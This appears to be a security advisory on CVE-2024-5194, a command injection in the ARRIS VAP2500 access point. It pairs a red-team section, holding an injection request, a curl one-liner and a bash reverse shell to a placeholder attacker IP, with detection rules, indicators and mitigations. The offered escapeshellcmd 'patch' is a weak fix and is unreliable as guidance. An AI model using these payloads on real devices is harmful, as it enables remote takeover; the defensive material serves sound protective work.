CVE-2024-5194

Executive Summary

CVE-2024-5194 is a critical command injection vulnerability in the ARRIS VAP2500 wireless access point running firmware version 08.50. The flaw resides in the /assoc_table.php script, where the id parameter is unsafely passed to a system command without proper sanitization. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with root privileges. Public exploit code has been released, and no official patch is currently available. This vulnerability poses a severe risk to network integrity and confidentiality.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability cannot affect other components.
• Confidentiality Impact: High (C:H) – Full device compromise.
• Integrity Impact: High (I:H) – Attacker can modify system files.
• Availability Impact: High (A:H) – Device can be rendered inoperable.

Threat Level: Critical. Immediate action is required due to public exploit availability and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the /assoc_table.php endpoint. The id parameter is likely concatenated into a shell command such as ping or arp to retrieve association table data. For example, the backend PHP code might execute something like:

$id = $_GET['id'];
$output = shell_exec("ping -c 1 " . $id);

An attacker can inject arbitrary commands by appending shell metacharacters (e.g., ;, |, &&) to the id parameter. For instance:

/assoc_table.php?id=127.0.0.1;id

This would execute ping -c 1 127.0.0.1;id, revealing the current user context (typically root). The exploit is trivial to execute and requires no authentication.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

<?php
$id = $_GET['id'];
$output = shell_exec("ping -c 1 " . $id);
echo $output;
?>

Patched Code (hypothetical):

<?php
$id = escapeshellcmd($_GET['id']);
$output = shell_exec("ping -c 1 " . $id);
echo $output;
?>

The patched version uses escapeshellcmd() to escape shell metacharacters, preventing injection. However, no official patch has been released by ARRIS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target ARRIS VAP2500 with firmware 08.50.
• Network access to the device's web interface (typically port 80/443).

Exploit Steps:

1. Identify the target device using Shodan or network scanning.
2. Send a crafted HTTP GET request to the vulnerable endpoint:

   GET /assoc_table.php?id=127.0.0.1;id HTTP/1.1
   Host: <target_ip>
   

3. The response will contain the output of the id command, confirming command execution.
4. For a reverse shell, use:

   GET /assoc_table.php?id=127.0.0.1;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1' HTTP/1.1
   

Example using curl:

curl "http://<target_ip>/assoc_table.php?id=127.0.0.1;id"

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /assoc_table.php for unusual id parameter values containing shell metacharacters (;, |, &, $, `).
• Deploy WAF rules to block requests with suspicious patterns.
• Enable logging on the device (if possible) and review for anomalous command execution.

Mitigation:

• Isolate affected devices on a separate VLAN.
• Disable the web interface if not required.
• Apply vendor patches when available.
• Use network segmentation to limit exposure.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /assoc_table.php with id parameter containing shell metacharacters.
  • Outbound connections from the device to unusual IP addresses (e.g., reverse shell traffic).
• File IOCs:
  • Unexpected files in /tmp/ or /var/ (e.g., webshells).
  • Modified system binaries (e.g., /bin/busybox).
• Process IOCs:
  • Unusual processes spawned by the web server (e.g., bash, nc, python).
• Log IOCs:
  • Web server logs showing id parameter with command injection patterns.

Detection Engineering

YARA Rule

rule CVE_2024_5194_Command_Injection {
    meta:
        description = "Detects command injection attempts against ARRIS VAP2500 /assoc_table.php"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-5194"
    strings:
        $injection_pattern = /assoc_table\.php\?id=.*[;&|`$]/
    condition:
        $injection_pattern
}

Sigma Rule

title: CVE-2024-5194 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting /assoc_table.php with command injection patterns
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/assoc_table.php?id='
        cs-uri-query|re: '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in network parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5194 ARRIS VAP2500 Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/assoc_table.php"; http_uri; content:"id="; http_uri; pcre:"/id=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Web Interface: If the web interface is not required for operations, disable it via device configuration or firewall rules.
2. Network Segmentation: Place affected devices on an isolated VLAN with strict access controls.
3. Monitor Logs: Enable and review web server logs for exploitation attempts.

Long-Term Actions:

1. Vendor Patch: Contact ARRIS for a firmware update. If unavailable, consider replacing the device.
2. WAF Rules: Deploy web application firewall rules to block command injection patterns.
3. Regular Audits: Conduct periodic vulnerability scans of network devices.

Workaround:

• If the device cannot be patched, restrict access to the web interface to trusted IP addresses only using firewall ACLs.

Valters IT